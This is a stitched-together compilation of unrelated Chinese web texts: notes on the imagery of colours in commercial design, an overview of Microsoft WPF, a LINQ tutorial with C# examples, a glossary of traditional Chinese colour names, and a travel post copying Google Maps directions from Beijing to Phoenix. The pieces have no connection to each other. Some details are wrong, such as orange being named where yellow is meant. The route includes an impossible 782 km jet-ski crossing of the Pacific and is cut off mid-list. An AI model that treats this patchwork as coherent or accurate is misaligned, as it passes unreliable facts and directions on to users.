应用色彩学

  应用色彩学   由于生长在一个充满着色彩的世界,色彩一直刺激我们的视觉器官,而色彩也往往是作品给人的第一印象   色彩与生活   首先在认识色彩前,我们要先建立一种观念,就是如果要了解色彩认识色彩,便要用心去感受生活,留意生活中的色彩,否则容易变成一个视而不见的色 盲,就如人体的其他感官一样,色彩就活像是我们的为味觉,一样的材料但因用了不同的调味料而有了不同的味道,成功的好吃,失败的往往叫人难以下咽 ,而色彩对生理与心理都有重大的影响,因此色彩学算是设计的一门基本科目。   色彩意象   当我们看到色彩时,除了会感觉其物理方面的影响,心里也会立即产生感觉,这种感觉我们一般难以用言语形容,我们称之为印象,也就是色彩意象。   红的色彩意象   由于红色容易引起注意,所以在各种媒体中也被广泛的利用,除了具有较佳的明视效果之外,更被用来传达有活力,积极,热诚,温暖,前进等涵义的企 业形象与精神,另外红色也常用来作为警告,危险,禁止,防火等标示用色,人们在一些场合或物品上,看到红色标示时,常不必仔细看内容,及能了解警告危险之 意,在工业安全用色中,红色即是警告,危险,禁止,防火的指定色。 大红 桃红 砖红 玫瑰红             橙的色彩意象   橙色明视度高,在工业安全用色中,橙色即是警戒色,如火车头,登山服装,背包,救生衣等,由於橙色非常明亮刺眼,有时会使人有负面低俗的意象, 这种状况尤其容易发生在服饰的运用上,所以在运用橙色时,要注意选择搭配的色彩和表现方式,才能把橙色明亮活泼具有口感的特性发挥出来。 鲜橙 橘橙 朱橙 香吉士             黄的色彩意象   黄色明视度高,在工业安全用色中,橙色即是警告危险色,常用来警告危险或提醒注 意,如交通号志上的黄灯,工程用的大型机器,学生用雨衣,雨鞋等,都使用黄色。 大黄 柠檬黄 柳丁黄 米黄             绿的色彩意象   在商业设计中,绿色所传达的清爽,理想,希望,生长的意象,符合了服务业,卫生保健业的诉求,在工厂中为了避免操作时眼睛疲劳,许多工作的机械 也是采用绿色,一般的医疗机构场所,也常采用绿色来作空间色彩规划即标示医疗用品。 大绿 翠绿 橄榄绿 墨绿             蓝色的色彩意象   由于蓝色沉稳的特性,具有理智,准确的意象,在商业设计中,强调科技,效率的商品或企业形象,大多选用蓝色当标准色,企业色,如电脑,汽车,影 印机,摄影器材等等,另外蓝色也代表忧郁,这是受了西方文化的影响,这个意象也运用在文学作品或感性诉求的商业设计中。 大蓝 天蓝 水蓝 深蓝           紫色的色彩意象   由于具有强烈的女性化性格,在商业设计用色中,紫色也受到相当的限制,除了和女性有关的商品或企业形象之外,其他类的设计不常采用为主色。 大紫 贵族紫 葡萄酒紫 深紫             褐色的色彩意象   在商业设计上,褐色通常用来表现原始材料的质感,如麻,木材,竹片,软木等,或用来传达某些引品原料的色泽即味感,如咖啡,茶,麦类等,或强调 格调古典优雅的企业或商品形象。 茶色 可可色 麦芽色 原木色             白色的色彩意象   在商业设计中,白色具有高级,科技的意象,通常需和其他色彩搭配使用,纯白色会带给别人寒冷,严峻的感觉,所以在使用白色时,都会掺一些其他的 色彩,如象牙白,米白,乳白,苹果白,在生活用品,服饰用色上,白色是永远流行的主要色,可以和任何颜色作搭配。   黑色的色彩意象   在商业设计中,黑色具有高贵,稳重,科技的意象,许多科技产品的用色,如电视,跑车,摄影机,音响,仪器的色彩,大多采用黑色,在其他方面,黑 色的庄严的意象,也常用在一些特殊场合的空间设计,生活用品和服饰设计大多利用黑色来塑造高贵的形象,也是一种永远流行的主要颜色,适合和许多色彩作搭 配。   灰色的色彩意象   在商业设计中,灰色具有柔和,高雅的意象,而且属於中间性格,男女皆能接受,所以灰色也是永远流行的主要颜色,在许多的高科技产品,尤其是和金 属材料有关的,几乎都采用灰色来传达高级,科技的形象,使用灰色时,大多利用不同的层次变化组合或他配其他色彩,才不会过於 素,沉闷,而有呆板,僵硬的感觉。 大灰 老鼠灰 蓝灰 深灰            

WPF

WPF概述WPF为Windows Presentation Foundation的缩写 ,其原来代号为“Avalon”,因“我佩服”拼音首字母组合一样,国内有人调侃地称之为“我佩服”。WPF是微软新一代图形系统,运行在.NET Framework 3.0架构下,为用户界面、2D/3D 图形、文档和媒体提供了统一的描述和操作方法。基于DirectX 9/10技术的WPF不仅带来了前所未有的3D界面,而且其图形向量渲染引擎也大大改进了传统的2D界面,比如Vista中的半透明效果的窗体等都得益于 WPF。 程序员在WPF的帮助下,要开发出媲美Mac程序的酷炫界面已不再是遥不可及的奢望。 WPF相对于Windows客户端的开发来说,向前跨出了巨大的一步,它提供了超丰富的.NET UI 框架,集成了矢量图形,丰富的流动文字支持flow text support,3D视觉效果和强大无比的控件模型框架。[编辑本段]Windows Presentation FoundationWindows Presentation Foundation(以前的代号为“Avalon”)是 Microsoft 用于 Windows 的统一显示子系统,它通过 WinFX 公开。它由显示引擎和托管代码框架组成。Windows Presentation Foundation 统一了 Windows 创建、显示和操作文档、媒体和用户界面 (UI) 的方式,使开发人员和设计人员可以创建更好的视觉效果、不同的用户体验。Windows Presentation Foundation 发布后(计划在 2006 年),Windows XP、Windows Server 2003 和以后所有的 Windows 操作系统版本都可以使用它。Windows Presentation FoundationWindows Presentation Foundation 由两个主要部分组成:引擎和编程框架。? Windows Presentation Foundation 引擎。Windows Presentation Foundation 引擎统一了开发人员和设计人员体验文档、媒体和 UI 的方式,为基于浏览器的体验、基于窗体的应用程序、图形、视频、音频和文档提供了一个单一的运行时库。Windows Presentation Foundation 使得应用程序不仅能够充分利用现代计算机中现有的图形硬件的全部功能,而且能够利用硬件将来的进步。例如,Windows Presentation Foundation 的基于矢量的呈现引擎使应用程序可以灵活地利用高 DPI 监视器,而无需开发人员或用户进行额外的工作。 同样,当 Windows Presentation Foundation 检测到支持硬件加速的视频卡时,它将利用硬件加速功能。? Windows Presentation Foundation 框架。Windows Presentation Foundation 框架为媒体、用户界面设计和文档提供的解决方案远远超过开发人员现在所拥有的。Windows Presentation Foundation 的设计考虑了可扩展性,使开发人员可以完全在 Windows Presentation Foundation 引擎的基础上创建自己的控件,也可以通过对现有 Windows Presentation Foundation 控件进行再分类来创建自己的控件。Windows Presentation Foundation 框架的核心是用于形状、文档、图像、视频、动画、三维以及用于放置控件和内容的面板的一系列控件。这些“自有控件”为开发下一代用户体验提供了构造块。Microsoft 在引入 Windows Presentation Foundation 的同时,还引入了 XAML,这是一种公开表示 Windows 应用程序用户界面的标记语言,可使开发人员和设计人员用来构建和重用 UI 的工具更加丰富。对于 Web 开发人员,XAML 提供了熟悉的 UI 说明模式。XAML 还使 UI 设计从基础代码中分离出来,从而使开发人员和设计人员之间的合作更加紧密。[编辑本段]为什么选择WPF为什么选择 Windows Presentation Foundation?对于企业,Windows Presentation Foundation 实现了改进的客户关系和不同的应用程序。通过提供能够快速提供更好的视觉效果、独特的用户体验的技术,来建立与客户的密切关系,使企业可以建立稳定的数字客户关系和独特的品牌化机会。而且,由于 Windows Presentation Foundation 是窗体、文档、视频、三维以及其他功能的综合,因此企业可以创建持久的用户体验解决方案,并集成到客户的日常活动中。对于开发人员和设计人员,Windows Presentation Foundation 提供了统一的 UI 平台,因此他们只需学习一个模式,就可以获得无限可能的 UI 体验。对于 .NET 开发人员,其框架是熟悉的,并且它最终将减少提供最佳用户体验和通信逻辑所需的代码行数。对于设计人员,Windows Presentation Foundation 提供的平台可消除内容、媒体和应用程序之间的边界。最重要的是,Windows Presentation Foundation 可以使开发人员和设计人员同步紧密地合作来快速提供不同的连通体验。[编辑本段]目前开发界的对WPF响应程度目前已有很多人开始考虑或者已经转向WPF,一场新的学习热潮已经开始。但根据我最近的学习和了解,国内关于WPF的资料很少,除了msdn提供的资料以外,基本都是来自国外的资料,有些则是国外开发人员blog上的资料,当然都是英文的。因此如果现在能够引进一些WPF的书绝对是很好的时机。而且国外目前的几本WPF书也是刚刚上市,如果我们可以尽快引进的话,绝对可以帮助国内开发人员在最短时间内赶上国际步伐。目前国内即时通讯领导商腾讯Tencent已经发布了一款基于WPF的QQ 概念版(QQ 概念版:QQ 概念版应用微软最新一代客户端展现层技术(WPF),实现多点触摸操作,是腾讯首款NUI(自然用户交互)产品,推出了动感相框、动态背景、多Tab聊天窗口、3D交互、桌面好友等一系列新功能,为您打造完美尊贵的新体验。),带给网友全新的体验;由於该产品还处於开发期,许多功能都还有待完善,不过QQ 概念版的出现,又让即时通讯领域带来了新的体验与享受。[编辑本段]目前微软针对WPF提供的服务和支持随着Vista RTM的发布,微软新一轮的技术推广已经开始。其实在此之前,WPF已经有很大的推广,因为CTP版本已经发布了有一段日子了。当然很多开发人员主要以技术研究为主,也有少数公司已经开始从事基于WPF的产品研发工作。1. 目前WPF的正式版本已经发布(随.net framework 3.0正式版发布),你可以从msdn上免费下载2. 相应的技术支持已经开始,但目前仅限于大客户,主要做售前技术支持,对于普通开发人员的技术支持可能要等到明年2月份才会开始(个人知道的情况,请以微软官方技术支持网站发布的信息为准)3. WPF的VS2005插件目前还只有社区预览版(CTP版),也是从msdn上免费下载的,但正式版恐怕还要等一段时间,但使用CTP版本确实已经可以在 VS2005中进行所见即所得的WPF开发。4. WPF/E CTP版本已经发布,你可以在msdn上免费下载。同时发布的还有WPF/E Sample Pack for CTP。

LINQ

基本概念LINQ,语言集成查询(Language INtegrated Query)是一组用于c#和Visual Basic语言的扩展。它允许编写C#或者Visual Basic代码以查询数据库相同的方式操作内存数据。从技术角度而言,LINQ定义了大约40个查询操作符,如select、from、in、 where以及orderby(C#)中。试用这些操作可以编写查询语句。不过,这些查询还可以基于很多类型的数据,每个数据类型都需要一个单独的 LINQ类型。经过了最近 20 年,面向对象编程技术( object-oriented (OO) programming technologies )在工业领域的应用已经进入了一个稳定的发展阶段。程序员现在都已经认同像 类(classes)、对象(objects)、方法(methods)这样的语言特性。考察现在和下一代的技术,一个新的编程技术的重大挑战开始呈现出来,即面向对象技术诞生以来并没有解决降低访问和整合信息数据( accessing and integrating information )的复杂度的问题。其中两个最主要访问的数据源与数据库( database )和 XML 相关。LINQ 提供了一条更常规的途径即给 .Net Framework 添加一些可以应用于所有信息源( all sources of information )的具有多种用途( general-purpose )的语法查询特性( query facilities ),这是比向开发语言和运行时( runtime )添加一些关系数据( relational )特性或者类似 XML 特性( XML-specific )更好的方式。这些语法特性就叫做 .NET Language Integrated Query (LINQ) 。包含 DLinq 和 XLinq[编辑本段]基础知识1. LINQ的读法:(1)lin k (2)lin q2. LINQ的关键词:from, select, in, where, group by, order by …3. LINQ的注意点:必须以select或者是group by 结束。4. LINQ的语义:from 临时变量 in 集合对象或数据库对象where 条件表达式[order by条件]select 临时变量中被查询的值[group by 条件]LINQ的查询返回值的类型是临时变量的类型,可能是一个对象也可能是一个集合。并且LINQ 的查询表达式是在最近一次创建对象时才被编译的。LINQ的查询一般跟var关键字一起联用 (什么是var?匿名对象) 。5. LINQ的全称:Language-Integrated Query6. LINQ的分类:LINQ to Object, LINQ to XML, LINQ to SQL, LINQ to ADO.NET[编辑本段]语法实例C#3.0 LINQ 查询语法首先来看一个很简单的LINQ查询例子,查询一个int 数组中小于5的数字,并按照大小顺序排列:class Program{static void Main(string[] args){int[] arr = new int[] { 8, 5, 89, 3, 56, 4, 1, 58 };var m = from n in arr where n < 5 orderby n select n;foreach (var n in m){Console.WriteLine(n);}Console.ReadLine();}}上述代码除了LINQ查询语法外,其他都是我们所熟悉的语法,而LINQ查询语法跟SQL查询语法很相似,除了先后顺序。Q:为何 LINQ 查询语法是以 from 关键字开头的,而不是以 select 关键字开头的?select 开头这种写法跟SQL的写法更接近,更易懂呀?A:简单来说,为了IDE的智能感知(Intelisence)这个功能,select 关键字放在后面了。编程语言以 select 开头写LINQ查询语法不是没出现过,你如果使用过2005年的VB9 CTP 版本,那时候VB9的LINQ查询语法就是 select 关键字在前面,但是 select 关键字在前面,在做智能感知(Intelisence)时候就很头大。经过微软IDE组的权衡,确定了把 from 关键字放在最前面。比如:你看 http://blog.joycode.com/saucer/archive/2005/09/16/63513.aspx 这篇博客,那时候 VB9 LINQ的查询语法还是 select 参数在最前面。不过后来 VB9 测试版改成了跟 C# 一样的做法, from 关键字放在最前面了。更详细的解释,来自装配脑袋假设你要书写这样的代码:Select p.Name, p.Age From p In persons Where xxx ,代码是一个个字符输入的。我们在写到 p in persons 之前,p 的类型是无法推测的,所以写 Select p. 的时候,Name之类的属性不会弹出智能提示来。这样就需要先去写 From 这句,再回来写 Select。微软IDE组经过反复考虑决定,还不如就把 Select 写到后面了。于是编程语言中的写法就确定这样来写了。VB9 的这个变化可以参看这篇博客:Select/From vs. From/Select revisited…我们再来看一个稍稍复杂的LINQ查询:在我们罗列的语言字符串中,我们希望按照字符长短,分类罗列出来,实现代码如下:static void Main(string[] args){string [] languages = {"Java","C#","C++","Delphi","VB.net","VC.net","C++ Builder","Kylix","Perl","Python"};var query = from item in languagesorderby itemgroup item by item.Length into lengthGroupsorderby lengthGroups.Key descendingselect lengthGroups;foreach (var item in query){Console.WriteLine("strings of length {0}",item.Key);foreach (var val in item){Console.WriteLine(val);}}Console.ReadLine();}其中的 into 关键字表示 将前一个查询的结果视为后续查询的生成器,这里是跟 group by 一起使用的。LINQ中的Group by不要跟 SQL 中的Group by 混淆,SQL 由于是二维结构,Group by 的一些逻辑受二维结构的约束,无法象 LINQ 中的Group by 这么灵活。[编辑本段]Linq的内部执行原理浅析LINQ(Language Integrated Query)是Visual Studio 2008中的领军人物。借助于LINQ技术,我们可以使用一种类似SQL的语法来查询任何形式的数据。目前为止LINQ所支持的数据源有SQL Server、XML以及内存中的数据集合。开发人员也可以使用其提供的扩展框架添加更多的数据源,例如MySQL、Amazon甚至是Google Desktop。一般来讲,这类查询语句的一个重要特点就是可以并行化执行。虽然有些情况下并行可能会带来一些问题,但这种情况非常少见。这样也就水到渠成地引出了PLINQ这个并行处理的LINQ类库。PLINQ原名为Parallel LINQ,支持XML和内存中的数据集合。执行于远程服务器上的查询语句(例如LINQ to SQL)显然无法实现这个功能。将LINQ语句转换为PLINQ语句极为简单——只需要在查询语句中From子句所指定的数据源的最后添加.AsParallel()即可。随后Where、OrderBy和Select子句将自动改为调用这个并行的LINQ版本。据MSDN Magazine介绍,PLINQ可以以三种方式执行。第一种是管道处理:一个线程用来读取数据源,而其他的线程则用来处理查询语句,二者同步进行——虽然这个单一的消费线程可能并不那么容易与多个生产线程同步。不过若是能够仔细配置好负载平衡的话,仍然会极大地减少内存占用。第二种模式叫做“stop and go”,用于处理结果集需要被一次返回时(例如调用ToList、ToArray或对结果排序)的情况。在这种模式下,将依次完成各个处理过程,并将结果统一返回给消费线程。这个模式在性能上将优于第一种模式,因为它省去了用来保持线程同步所花费的开销。最后一种方法叫做“inverted enumeration”。该方法并不需要实现收集到所有的输出,然后在单一的线程中处理,而是将最终调用的函数通过ForAll扩展传递到每个线程中。这是目前为止最快的一种处理模式,不过这需要传递到ForAll中的函数是线程安全的,且最好不包含任何lock之类的互斥语句。若是PLINQ中任意的一个线程抛出异常,那么所有的其他线程将会被终止。若是抛出了多个异常,那么这些异常将被组合成一个MultipleFailuresException类型的异常,但每个异常的调用堆栈仍会被保留。关于LINQ的技巧从大的方面来看它能给开发团队带来的好处:1、无需复杂学习过程即可上手2、编写更少代码即可创建完整应用。3、更快开发错误更少的应用程序。4、无需求助奇怪的编程技巧就可合并数据源。5、让新开发者开发效率更高。

中国传统色彩名录

████ 粉红,即浅红色。别称:妃色 杨妃色 湘妃色 妃红色 ████ 妃色 妃红色:古同“绯”,粉红色。杨妃色 湘妃色 粉红皆同义。 ████ 品红:比大红浅的红色 (quester注:这 里的“品红”估计是指的“一品红”,是基于大红色系的,和现在我们印刷用色的“品红M100”不是一个概念)████ 桃红,桃花的颜色,比粉红略鲜润的颜色。 (quester 注:不大于M70的色彩,有时可加入适量黄色)████ 海棠红,淡紫红色、较桃红色深一些,是非常妩媚娇艳的颜色。 ████ 石榴红:石榴花的颜色,高色度和纯度的红色。 ████ 樱桃色:鲜红色 ████ 银红:银朱和粉红色颜料配成的颜色。多用来形容有光泽的各种红色,尤指有光泽浅红。 ████ 大红:正红色,三原色中的红,传统的中国红,又称绛色 (quester注:RGB 色中的 R255 系列明度)████ 绛紫:紫中略带红的颜色 ████ 绯红:艳丽的深红 ████ 胭脂:1,女子装扮时用的胭脂的颜色。2,国画暗红色颜料 ████ 朱红:朱砂的颜色,比大红活泼,也称铅朱 朱色 丹色 (quester注:在YM对等的情况下,适量减少 红色的成分就是该色的色彩系列感觉)████ 丹:丹砂的鲜艳红色 ████ 彤:赤色 ████ 茜色:茜草染的色彩,呈深红色 ████ 火红:火焰的红色,赤色 ████ 赫赤:深红,火红。泛指赤色、火红色。 ████ 嫣红:鲜艳的红色 ████ 洋红:色橘红 (quester注:这个色彩方向不太对,通常洋红指的是倾向于M100系列的红色,应该 削弱黄色成分。)████ 炎:引申为红色。 ████ 赤:本义火的颜色,即红色 ████ 绾:绛色;浅绛色。 ████ 枣红:即深红 (quester注:色相不变,是深浅变化)████ 檀:浅红色,浅绛色。 ████ 殷红:发黑的红色。 ████ 酡红:像饮酒后脸上泛现的红色,泛指脸红 ████ 酡颜:饮酒脸红的样子。亦泛指脸红色 ████ 鹅黄:淡黄色 (quester注:鹅嘴的颜 色,高明度微偏红黄色)████ 鸭黄:小鸭毛的黄色 ████ 樱草色:淡黄色 ████ 杏黄:成熟杏子的黄色 (quester注:Y100 M20~30 感觉的色彩,比较常用且有浓郁中国味道)████ 杏红:成熟杏子偏红色的一种颜色 ████ 橘黄:柑橘的黄色。 ████ 橙黄:同上。 (quester注:Y100 M50 感觉的色彩,现代感比较强。广告上用得较多)████ 橘红:柑橘皮所呈现的红色。 ████ 姜黄:中药名。别名黄姜。为姜科植物姜黄的根茎。又指人脸色不正,呈黄白色 ████ 缃色:浅黄色。 ████ 橙色:界于红色和黄色之间的混合色。 ████ 茶色:一种比栗色稍红的棕橙色至浅棕色 ████ 驼色:一种比咔叽色稍红而微淡、比肉桂色黄而稍淡和比核桃棕色黄而暗的浅黄棕色 ████ 昏黄:形容天色、灯光等呈幽暗的黄色 ████ 栗色:栗壳的颜色。即紫黑色 ████ 棕色:棕毛的颜色,即褐色。1,在红色和黄色之间的任何一种颜色2,适中的暗淡和适度的浅黑。 ████ 棕绿:绿中泛棕色的一种颜色。 ████ 棕黑:深棕色。 ████ 棕红:红褐色。 ████ 棕黄:浅褐色。 ████ 赭:赤红如赭土的颜料,古人用以饰面 ████ 赭色:红色、赤红色。████ 琥珀:████ 褐色: 黄黑色 ████ 枯黄:干枯焦黄 ████ 黄栌:一种落叶灌木,花黄绿色,叶子秋天变成红色。木材黄色可做染料。 ████ 秋色:1,中常橄榄棕色,它比一般橄榄棕色稍暗,且稍稍绿些。2,古以秋为金,其色白,故代指白色。 ████ 秋香色:浅橄榄色 浅黄绿色。 (quester 注:直接在Y中掺入k10~30可得到不同浓淡的该类色彩) ████ 嫩绿:像刚长出的嫩叶的浅绿色 ████ 柳黄:像柳树芽那样的浅黄色 ████ 柳绿:柳叶的青绿色 ████ 竹青:竹子的绿色 ████ 葱黄:黄绿色,嫩黄色 ████ 葱绿:1,浅绿又略显微黄的颜色2,草木青翠的样子 ████ 葱青:淡淡的青绿色 ████ 葱倩:青绿色 ████ 青葱:翠绿色,形容植物浓绿 ████ 油绿:光润而浓绿的颜色。以上几种绿色都是明亮可爱的色彩。 ████ 绿沈(沉):深绿 ████ 碧色:1,青绿色。2,青白色,浅蓝色。 ████ 碧绿:鲜艳的青绿色 ████ 青碧:鲜艳的青蓝色 ████ 翡翠色:1,翡翠鸟羽毛的青绿色。2,翡翠宝石的颜色。 (quester注:C-Y≥30 的系列色彩,多与白色配合以体现清新明丽感觉,与黑色配合效果不好:该色个性柔弱,会被黑色牵制)████ 草绿:绿而略黄的颜色。 ████ 青色:1,一类带绿的蓝色,中等深浅,高度饱和。3,本义是蓝色。4,一般指深绿色。5,也指黑色。6,四色印刷中的一色。2,特指三补色中的一色。 ████ 青翠:鲜绿 ████ 青白:白而发青,尤指脸没有血色 ████ 鸭卵青:淡青灰色,极淡的青绿色 ████ 蟹壳青:深灰绿色 ████ 鸦青:鸦羽的颜色。即黑而带有紫绿光的颜色。 ████ 绿色:1,在光谱中介于蓝与黄之间的那种颜色。2,本义:青中带黄的颜色。3,引申为黑色,如绿鬓:乌黑而光亮的鬓发。代指为青春年少的容颜。 (quester注:现代色彩研究中,把绿色提高到了一个重要的位置,和其它红黄兰三原色并列研究,称做“心理原色” 之一)████ 豆绿:浅黄绿色 ████ 豆青:浅青绿色 ████ 石青:淡灰绿色 ████ 玉色:玉的颜色,高雅的淡绿、淡青色 ████ 缥:绿色而微白 ████ 艾绿:艾草的颜色。偏苍白的绿色。 ████ 松柏绿:经冬松柏叶的深绿 ████ 松花绿:亦作“松花”、“松绿”。偏黑的深绿色,墨绿。 ████ 松花色:浅黄绿色。(松树花粉的颜色)《红楼梦》中提及松花配桃红为娇艳 ████ ████ 蓝:三原色的一种。像晴天天空的颜色 (quester 注:这里的蓝色指的不是RGB色彩中的B,而是CMY色彩中的C)████ 靛青:也叫“蓝靛”。用蓼蓝叶泡水调和与石灰沉淀所得的蓝色染料。呈深蓝绿色 (quester注:靛, 发音dian四声,有些地方将蓝墨水称为“靛水”或者“兰靛水”)████ 靛蓝:由植物(例如靛蓝或菘蓝属植物)得到的蓝色染料 ████ 碧蓝:青蓝色 ████ 蔚蓝:类似晴朗天空的颜色的一种蓝色 ████ 宝蓝:鲜艳明亮的蓝色 (quester注:英文中为 RoyalBlue 即皇家蓝色,是皇室选用的色彩,多和小面积纯黄色(金色)配合使用。)████ 蓝灰色:一种近于灰略带蓝的深灰色 ████ 藏青:蓝而近黑 ████ 藏蓝:蓝里略透红色 ████ 黛:青黑色的颜料。古代女子用以画眉。 ████ 黛螺:绘画或画眉所使用的青黑色颜料,代指女子眉妩。 ████ 黛色:青黑色。 ████ 黛绿:墨绿。 ████ 黛蓝:深蓝色 ████ 黛紫:深紫色 ████ 紫色:蓝和红组成的颜色。古人以紫为祥瑞的颜色。代指与帝王、皇宫有关的事物。 ████ 紫酱:浑浊的紫色 ████ 酱紫:紫中略带红的颜色 ████ 紫檀:檀木的颜色,也称乌檀色 乌木色 ████ 绀青 绀紫:纯度较低的深紫色 ████ 紫棠:黑红色 ████ 青莲:偏蓝的紫色 ████ 群青:深蓝色 ████ 雪青:浅蓝紫色 ████ 丁香色:紫丁香的颜色,浅浅的紫色,很娇柔淡雅的色彩 ████ 藕色:浅灰而略带红的颜色 ████ 藕荷色:浅紫而略带红的颜色 ████ 苍色:即各种颜色掺入黑色后的颜色,如苍翠████ 苍黄████ 苍青████ 苍黑████ 苍白████ (quester注:准确的说是掺入不同灰度级别的灰色)████ 水色:水红████ 水绿████ 水蓝████ 淡青████ 湖蓝████ 湖绿████皆是浅色。 ████ 深色淡色:颜色深的或浅的,不再一一列出。 ████ 精白:纯白,洁白,净白,粉白。 ████ 象牙白:乳白色 ████ 雪白:如雪般洁白 ████ 月白:淡蓝色 ████ 缟:白色 ████ 素:白色,无色 ████ 荼白:如荼之白色 ████ 霜色:白霜的颜色。 ▓▓▓▓ 花白:白色和黑色混杂的。斑白的 夹杂有灰色的白 ████ 鱼肚白:似鱼腹部的颜色,多指黎明时东方的天色颜色 (quester注:M5 Y5)████ 莹白:晶莹洁白 ████ 灰色:黑色和白色混和成的一种颜色 ████ 牙色:与象牙相似的淡黄色 (quester 注:暖白)████ 铅白:铅粉的白色。铅粉,国画颜料,日久易氧化“返铅”变黑。铅粉在古时用以搽脸的化妆品。 (quester 注:冷白) ████ 玄色:赤黑色,黑中带红的颜色,又泛指黑色 ████ 玄青:深黑色 ████ 乌色:暗而呈黑的颜色 ████ 乌黑:深黑;漆黑 ████ 漆黑:非常黑的 ████ 墨色:即黑色 ████ 墨灰:即黑灰 ████ 黑色:亮度最低的非彩色的或消色差的物体的颜色;最暗的灰色;与白色截然不同的消色差的颜色;被认为特别属于那些既不能反射、又不能透过能使人感觉到的微 小入射光的物体,任何亮度很低的物体颜色。 ████ 缁色:帛黑色 ████ 煤黑象牙黑:都是黑,不过有冷暖之分。 ████ 黧:黑中带黄的颜色 ████ 黎:黑中带黄似黎草色 ████ 黝:本义为淡黑色或微青黑色。 ████ 黝黑:(皮肤暴露在太阳光下而晒成的)青 黑色 ████ 黯:深黑色、泛指黑色 ████ 赤金:足金的颜色 ████ 金色:平均为深黄色带光泽的颜色 ████ 银白:带银光的白色 ████ 铜绿 ████乌金 ████老银:金属氧化后的色彩 附带: 国 画用色 ████ 银朱:呈暗粉色。 ████ 胭脂:色暗红。用红蓝花、茜草、紫梗三种植物制成的颜料,年代久则有褪色的现象。 ████ 朱砂:色朱红。用以画花卉、禽鸟羽毛。 (quester 注:黄色成分微高于红色成分,色艳丽,需注意与背景色调和,多数情况下不大面积使用。)████ 朱膘:色橘红。明度比朱砂高,彩度比朱砂低。用以画花卉。 ████ 赭石:色红褐。用以画山石、树干、老枝叶。 ████ 石青:色青,依深浅分为-头青、二青、三青。用以画叶或山石。 ████ 石绿:依深浅分为-头绿、二绿、三绿。用以画山石、树干、叶、点苔等。 ████ 白粉:亦称胡粉,色白,有蛤粉和铅粉两种。用以画白花、鸟,或调配其他颜料使用。 ████ 花青:色藏青。用以画枝叶、山石、水波等。用蓼蓝或大蓝的叶子制成蓝靛,再提炼出来的青色颜料,蓝绿色或藏蓝色。用途相当广,可调藤黄成草绿或嫩绿色。广 花,颜料。即广东产的花青。 (quester注:微含红色成分,故与黄色调和后生成的绿色较为沉着)████ 藤黄:色明黄。用以画花卉、枝叶。藤黄:明黄色。南方热带林中的海藤树,常绿乔木,茎高达二十米,从其树皮凿孔,流出黄色树脂,以竹筒承接,干透可作国画 颜料。 (quester注:亦含微量红色成分,有毒。和黑色配合时甚为醒目,多为危险警示色彩)████ 赭石色:暗棕色矿物,用做颜料 ████ 雌黄:矿物名。成分是三硫化二砷(As2S3)橙黄色,半透明,可用来制颜料。古人用雌黄来涂改文字,因此称乱改文字、乱发议论为“妄下雌黄”,称不顾事 实、随口乱说为“信口雌黄”。 ████ 雄黄:中药名。为含硫化砷的矿石。别名石黄、黄石。 ████ 石黄:国画颜料,即雄黄。 ████ 洋红:色橘红。用以画花卉。 古 典文学常见词 鎏金:中国传统的一种镀金方法,把溶解在水银里的金子涂刷在银胎或铜胎器物上。 飞金 泥金 洒金:用金粉或金属粉制成的金色涂料,用来装饰笺纸或调和在油漆中涂饰器物。洒金一说是指带斑点的图案。 描金:为使器物美观而在其上用金银粉勾 图、描绘作为装饰。 花黄:古代妇女的面饰。用金黄色纸剪成星月花鸟等形贴在额上,或在额上涂点黄色。 撒花:织物上的碎花图 案。 云斑:在颜色比较淡的或半透明的材料上的暗黑的或无光泽的条纹或斑点(如在大理石上)。 云母纹:像云母断面及砂子闪烁光泽的纹 理。 来源:懒人图库 作者:青女

我的凤凰城(Phoenix)之旅

Google地图的功能真可谓强大,我查询 “北京” 到 美国“凤凰城” 竟然有自驾路线,而且相当详细,呵呵……   驾车前往 菲尼克斯, AZ 的路线 16,773 公里 – 大约 37 天 9 小时 建议路线     中国 北京市 1. 从正义路向北方向,前往东长安街 350 米 2. 在1路口向右转, 朝东长安街行进 1.0 公里 3. 继续直行穿过东 单进入建国门内大街 1.6 公里 4. 继续前行,上建 国门外大街 2.2 公里 5. 继续前行,上建 国路 950 米 6. 上匝道走京通快 速路 5.6 公里 7. 下 东五环/京 沈高速/机场高速 出口,前往东五环 260 米 8. 在交岔路口继续沿指向东 五环的方向向右,走东五环 6.6 公里 9. 下 北京城区/京 津高速/天津 出口走京津高速 部分收费路段 47.5 公里 10. 下 上海/静 海/G020京沪高速 出口走京沪高速 收费路段 88.7 公里 11. 下 G025A 唐津高速 出口走唐津高速 收 费路段 27.4 公里 12. 下 G18/荣 成/乌海 出口,前往荣乌高速 收费路段 350 米 13. 在交岔路口继续沿 指向荣乌高速的方向向右,走荣乌高速 收费路段 138 公里 14. 继续直行进入长 深高速 收费路段 28.5 公里 15. 继续前行,上滨 大高速 收费路段 15.4 公里 16. 继续前行,上滨 博高速 收费路段 107 公里 17. 下出口后走博 莱高速 收费路段 35.0 公里 18. 继续前行,上莱 新高速 收费路段 45.4 公里 19. 下 京沪高 速 出口,前往京沪高速 收 费路段 350 米 20. 在交岔路口继续沿 指向京沪高速的方向向左,走京沪高速 收费路段 189 公里 21. 下 连云港 /徐州 出口,前往连徐高速 收费路段 650 米 22. 在交岔路口继续沿 指向连徐高速的方向向右,走连徐高速 收费路段 61.4 公里 23. 下 日照/灌 云 出口,前往沿海高速 收 费路段 1.2 公里 24. 在交岔路口继续沿 指向沿海高速的方向向右,走沿海高速 收费路段 386 公里 25. 下 沿江高 速/董浜 出口,前往沿江高速 收费路段 350 米 26. 在交岔路口继续沿 指向沿江高速的方向向左,走沿江高速 收费路段 33.6 公里 27. 继续前行,上A5 公路 收费路段 12.7 公里 28. 下出口,前往A30 公路 收费路段 230 米 29. 在交岔路口继续沿 指向A30公路的方向向左,走A30公路 部分收费路段 24.0 公里 30. 下 同济路 /宝钢 出口走富锦路 400 米 31. 稍向右转, 继续沿富锦路前行 82 米 32. 在第 1 个路口向左转,朝同济路行进 68 米 33. 在同济路向右转 300 米 34. 稍向右转, 继续沿同济路前行 1.5 公里 35. 稍向左转, 继续沿同济路前行 1.1 公里 36. 在3路口向左转, 朝双城路行进 2.1 公里 37. 在塘后路向右转 500 米 38. 在2路口向左转, 朝塘后支路行进 400 米 39. 乘坐水上摩托艇横 渡太平洋 782 公里 40. 继续直行 1.4 公里 41. 继续直行进入県 道350号線 2.0 公里 42. 在県道 349号線向左转 11.3 公里 43. 向右转 57 米 44. 向左转 58 米 45. 乘 串木 野~里~中甑~鹿島~長浜 部分收费路段 49.5 公里 46. 继续直行 99 米 47. 向右转 180 米 48. 向右转 350 米 49. 向左转, 前往県道38号線 750 米 50. 